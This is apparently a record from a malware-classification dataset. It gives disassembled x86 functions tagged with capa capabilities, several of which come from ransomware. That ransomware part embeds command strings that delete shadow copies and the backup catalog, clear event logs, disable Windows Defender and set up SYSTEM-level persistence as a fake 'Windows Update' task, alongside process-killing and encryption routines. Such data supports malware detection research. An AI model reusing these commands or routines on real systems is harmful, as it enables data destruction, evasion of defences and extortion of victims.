joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404f40
Capabilities:
Accept command line arguments
Create process on windows
Schedule task via schtasks

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60c
cmp dword [0x4291b8], 0
jne 0x404fe7
push esi
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 4], 1
jle 0x404fad
push dword [eax + 4]
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x60c]
push str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_BETA___TR___s__s___F
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x404fc9
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x60c]
push str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_BETA___TR___s___F
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x60c]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404ff0
Capabilities:
Clear windows event logs
Create process on windows
Delete volume shadow copies
Delete windows backup catalog
Manipulate boot configuration
Set registry value

Disassembly:
push esi
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
push str._c_FOR___F__delims___I_IN__WEVTUTIL_EL__DO__WEVTUTIL_CL___I__
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str._c_vssadmin.exe_delete_shadows__all__quietwbadmin_delete_catalog__quiet__bcdedit.exe__set_current_nx_AlwaysOff__wmic_SHADOWCOPY_DELETE
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str._c_powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath___s_
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str._c_powershell__inputformat_none__outputformat_none__NonInteractive__Command_Remove_WindowsFeature_Windows_Defenderpowershell__inputformat_none__outputformat_none__NonInteractive__Command_Windows_Defender_GUIpowershell__inputformat_none__outputformat_none__NonInteractive__Command_New_ItemProperty__Path__HKLM:SOFTWAREPoliciesMicrosoftWindows_Defender___Name_DisableAntiSpyware__Value_1__PropertyType_DWORD__Force
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str._c_powershell__inputformat_none__outputformat_none__NonInteractive__Command_Get_Service_WinDefend__Stop_Service__PassThru__Set_Service__StartupType_Disabledpowershell__inputformat_none__outputformat_none__NonInteractive__Command_Set_MpPreference__DisableRealtimeMonitoring__true
push str.cmd.exe
push str.open
push 0
call esi
pop esi
ret
Function at 0x4052b0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
cmp dword [0x4291b8], 0
jne 0x405390
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x42431c
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [0x4291a0]
cmp eax, 2
jne 0x405305
lea eax, [ebp - 0x20c]
push eax
push str._c___s___SHUTDOWN
jmp 0x40531d
cmp eax, 1
lea eax, [ebp - 0x20c]
push eax
jne 0x405318
push str._c___s___RESTART
jmp 0x40531d
push str._c___s_
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x20c]
push esi
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405372
push 0
lea eax, [ebp - 4]
push eax
push 0x1a00
push 0x41ee78
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
lea eax, [ebp - 0x80c]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x405400
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov dword [ebp - 0x38], str.SeDebugPrivilege
mov dword [ebp - 0x34], str.SeRestorePrivilege
mov dword [ebp - 0x30], str.SeBackupPrivilege
mov dword [ebp - 0x2c], str.SeTakeOwnershipPrivilege
mov dword [ebp - 0x28], str.SeAuditPrivilege
mov dword [ebp - 0x24], str.SeSecurityPrivilege
mov dword [ebp - 0x20], str.SeIncreaseBasePriorityPrivilege
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
test eax, eax
je 0x4054a3
lea eax, [ebp - 0xc]
push eax
push dword [ebp + esi*4 - 0x38]
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x40549e
mov eax, dword [ebp - 0xc]
push 0
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 4]
call edi
inc esi
cmp esi, 7
jb 0x405448
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405600
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov ebx, 0x104
mov dword [ebp - 0x10], ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], ebx
mov byte [ebp - 1], 1
nop
add ebx, ebx
push ebx
push 8
push dword [0x42b230]
call edi
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x40565f
nop word [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push 8
push dword [0x42b230]
call edi
mov esi, eax
mov dword [ebp - 0xc], eax
test esi, esi
je 0x405640
mov ebx, dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
jne 0x40569a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x405764
push esi
push 0
push dword [0x42b230]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [ebp - 8]
jmp 0x405620
cmp word [esi], 0
jne 0x405764
cmp dword [ebp - 8], 1
jne 0x405764
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
je 0x4056c3
cmp eax, 3
jne 0x405764
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 0x10]
push eax
push 8
push dword [0x42b230]
mov dword [ebp - 0x14], eax
call edi
mov ebx, eax
test ebx, ebx
jne 0x40570f
mov esi, dword [ebp - 0x14]
nop dword [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42b230]
call edi
mov ebx, eax
test ebx, ebx
je 0x4056f0
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.bootmgr
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x40574d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x405751
mov byte [ebp - 1], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [0x42b230]
call ebx
jmp 0x40576a
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
test esi, esi
je 0x405779
push esi
push 0
push dword [0x42b230]
call ebx
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405790
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x68], 0x4259b0
mov dword [ebp - 0x64], 0x4259b8
xor edi, edi
mov dword [ebp - 0x60], 0x4259c0
mov dword [ebp - 0x5c], 0x4259c8
mov dword [ebp - 0x58], 0x4259d0
mov dword [ebp - 0x54], 0x4259d8
mov dword [ebp - 0x50], 0x4259e0
mov dword [ebp - 0x4c], 0x4259e8
mov dword [ebp - 0x48], 0x4259f0
mov dword [ebp - 0x44], 0x4259f8
mov dword [ebp - 0x40], 0x425a00
mov dword [ebp - 0x3c], 0x425a08
mov dword [ebp - 0x38], 0x425a10
mov dword [ebp - 0x34], 0x425a18
mov dword [ebp - 0x30], 0x425a20
mov dword [ebp - 0x2c], 0x425a28
mov dword [ebp - 0x28], 0x425a30
mov dword [ebp - 0x24], 0x425a38
mov dword [ebp - 0x20], 0x425a40
mov dword [ebp - 0x1c], 0x425a48
mov dword [ebp - 0x18], 0x425a50
mov dword [ebp - 0x14], 0x425a58
mov dword [ebp - 0x10], 0x425a60
mov dword [ebp - 0xc], 0x425a68
mov dword [ebp - 8], 0x425a70
mov dword [ebp - 4], 0x425a78
nop word [eax + eax]
mov ebx, dword [ebp + edi*4 - 0x68]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x405878
mov dword [ebp + esi*4 - 0xd0], ebx
inc esi
inc edi
cmp edi, 0x1a
jl 0x405860
push 0x104
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40592c
nop dword [eax + eax]
cmp word [ebp - 0x2d8], 0x5c
jne 0x40590a
cmp word [ebp - 0x2d6], 0x5c
jne 0x40590a
cmp word [ebp - 0x2d4], 0x3f
jne 0x40590a
cmp word [ebp - 0x2d2], 0x5c
jne 0x40590a
lea ecx, [ebp - 0x2d8]
call fcn.00405600
test al, al
jne 0x40590a
test esi, esi
je 0x405925
mov edi, dword [ebp + esi*4 - 0xd4]
lea eax, [ebp - 0x2d8]
dec esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
je 0x40590a
push edi
lea eax, [ebp - 0x2d8]
push eax
push str.Mounted__s_as__s
call fcn.00404c20
add esp, 0xc
push 0x104
lea eax, [ebp - 0x2d8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x4058a0
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405940
Capabilities:
Encode data using xor
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
mov esi, ecx
xor ebx, ebx
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push 3
push ebx
push ebx
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 4], esi
cmp esi, 0xffffffff
je 0x4059da
push 2
push ebx
push 0xffffffffffffffff
push 0xffffffffffffffc0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x4059d3
push ebx
lea eax, [ebp - 8]
push eax
push 0x40
lea eax, [ebp - 0x48]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4059d3
lea esi, [ebp - 0x38]
or edx, 0xffffffff
lea edi, [ebx + 0x20]
movzx eax, byte [esi]
lea esi, [esi + 1]
mov ecx, edx
shl edx, 8
shr ecx, 0x18
xor ecx, eax
movzx eax, cl
xor edx, dword [eax*4 + 0x41ea78]
sub edi, 1
jne 0x4059a6
cmp edx, dword [ebp - 0xc]
mov eax, 1
mov esi, dword [ebp - 4]
cmove ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4059f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov eax, ecx
push edi
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [eax*2 + 0x80]
push ebx
push 8
push dword [0x42b230]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x405a41
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x80
call edi
push ebx
push 8
push dword [0x42b230]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x405a25
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.Jarjets_ReadMe.txt
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x405a9c
push 0
lea eax, [ebp - 4]
push eax
push 0x429218
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x429218
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0
push dword [0x42b230]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405ac0
Capabilities:
Create restart manager session
Enumerate processes that use resource
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
lea eax, [ebp - 0x68]
mov dword [ebp - 0x1c], ecx
push eax
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
xor bl, bl
mov dword [ebp - 0x14], 0
push eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov byte [ebp - 1], bl
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x405c56
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x1c]
push eax
push 1
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x405c4d
push esi
mov esi, dword [sym.imp.RstrtMgr.DLL_RmGetList]
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
call esi
cmp eax, 0xea
jne 0x405c4c
imul ecx, dword [ebp - 0x10], 0x29c
push edi
call fcn.00407190
mov edi, eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 8]
mov dword [ebp - 0x24], edi
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
call esi
test eax, eax
jne 0x405c3c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [ebp - 8]
xor edx, edx
mov dword [ebp - 0x18], edx
mov esi, eax
mov dword [ebp - 0x20], esi
test ecx, ecx
je 0x405c3c
mov eax, dword [edi]
cmp eax, esi
je 0x405c24
cmp eax, 4
je 0x405c24
mov eax, dword [edi + 0x28c]
cmp eax, 4
je 0x405c24
cmp eax, 0x3e8
je 0x405c24
lea ebx, [edi + 0xc]
xor esi, esi
nop word [eax + eax]
push dword [esi + 0x4228ec]
push ebx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x405c1b
add esi, 4
cmp esi, 0x34
jb 0x405bc0
push dword [edi]
xor bl, bl
push eax
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x405c18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x4e20
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
movzx ebx, bl
mov eax, 1
cmove ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add byte [ebp - 1], bl
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x20]
inc edx
add edi, 0x29c
mov dword [ebp - 0x18], edx
cmp edx, ecx
jb 0x405b90
mov bl, byte [ebp - 1]
mov edi, dword [ebp - 0x24]
push edi
push 0
push dword [0x42b230]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405d30
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov esi, ecx
mov byte [ebp - 1], 0
push 0x80
xor ebx, ebx
push esi
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push 3
push ebx
push ebx
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x405dd6
nop dword [eax]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
jne 0x405d91
cmp dword [ebp - 8], 1
je 0x405dda
mov ecx, esi
call fcn.00405ac0
mov dword [ebp - 8], 1
jmp 0x405dad
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x405de8
cmp ebx, 1
je 0x405e00
mov ecx, esi
call fcn.00405c60
mov ebx, 1
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x405d70
mov bl, 1
jmp 0x405deb
push esi
push str.Unable_To_Access_File:__s___SHARING_VIOLATION
call fcn.00404c20
add esp, 8
mov bl, byte [ebp - 1]
cmp edi, 0xffffffff
je 0x405df7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push str.Unable_To_Access_File:__s___ACCESS_DENIED
jmp 0x405de0
Function at 0x406e20
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x10]
mov ecx, 0x20
test al, 0x20
cmovne eax, ecx
cmp dword [0x4291a4], 0
mov dword [ebp - 0x10], eax
lea ebx, [eax + eax]
je 0x406e64
push 0
push 0
push 0
push 0x404de0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x42b228], eax
test eax, eax
je 0x406f4b
push SysReAllocString
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
lea esi, [ebx*4]
push esi
push 8
push dword [0x42b230]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x406ec5
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42b230]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x406ea5
xor esi, esi
test ebx, ebx
je 0x406eed
nop dword [eax + eax]
push 0
push 0
push 0
push 0x406980
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + esi*4], eax
inc esi
cmp esi, ebx
jb 0x406ed0
push ebx
push str._lu_I_O_Workers_Created
call fcn.00404c20
mov eax, dword [0x4291b8]
add esp, 8
test eax, eax
je 0x406f0c
push eax
call fcn.00406330
jmp 0x406f11
call fcn.00406700
push str.Waiting_For_I_O_Workers
call fcn.00404c20
add esp, 4
mov edx, ebx
mov ecx, edi
call fcn.00406d90
push dword [0x42b228]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.Encryption_Completed
call fcn.00404c20
add esp, 4
push SysReAllocString
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f98f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040f64f
Function at 0x402c74
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x402cb1
xor eax, eax
mov al, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
push esp
call sub.kernel32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
test bl, bl
je 0x402cd1
lea eax, [esp + 0x109]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.00404804
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x402eb0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x402f09
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
call sub.kernel32.dll_GetCommandLineA
lea edx, [ebp - 8]
call fcn.00402d4c
mov dword [ebp - 4], eax
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00402d4c
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
je 0x402ef3
inc ebx
jmp 0x402edc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402f10
lea eax, [ebp - 8]
call fcn.00404594
ret

Function at 0x402f18
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404594
test esi, esi
jne 0x402f4f
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.00404684
jmp 0x402f70
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402d4c
mov dword [esp], eax
test esi, esi
je 0x402f70
cmp dword [ebx], 0
je 0x402f70
dec esi
jmp 0x402f57
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x4035f8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x457020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403690
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403670
xor eax, eax
push ebp
push 0x403669
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4036ac
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403670
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x457020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x457020], ax
mov esp, ebp
pop ebp
ret
Function at 0x40438c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x459048], 0
je 0x4043ed
cmp word [0x45921c], 0xd7b2
jne 0x4043b5
cmp dword [0x459224], 0
jbe 0x4043b5
mov eax, 0x459218
call dword [0x459234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x45706c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404414
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x457030], 0
jne 0x404409
push 0
push 0x457064
push 0x45706c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404548
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402a50
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x459049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404510
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc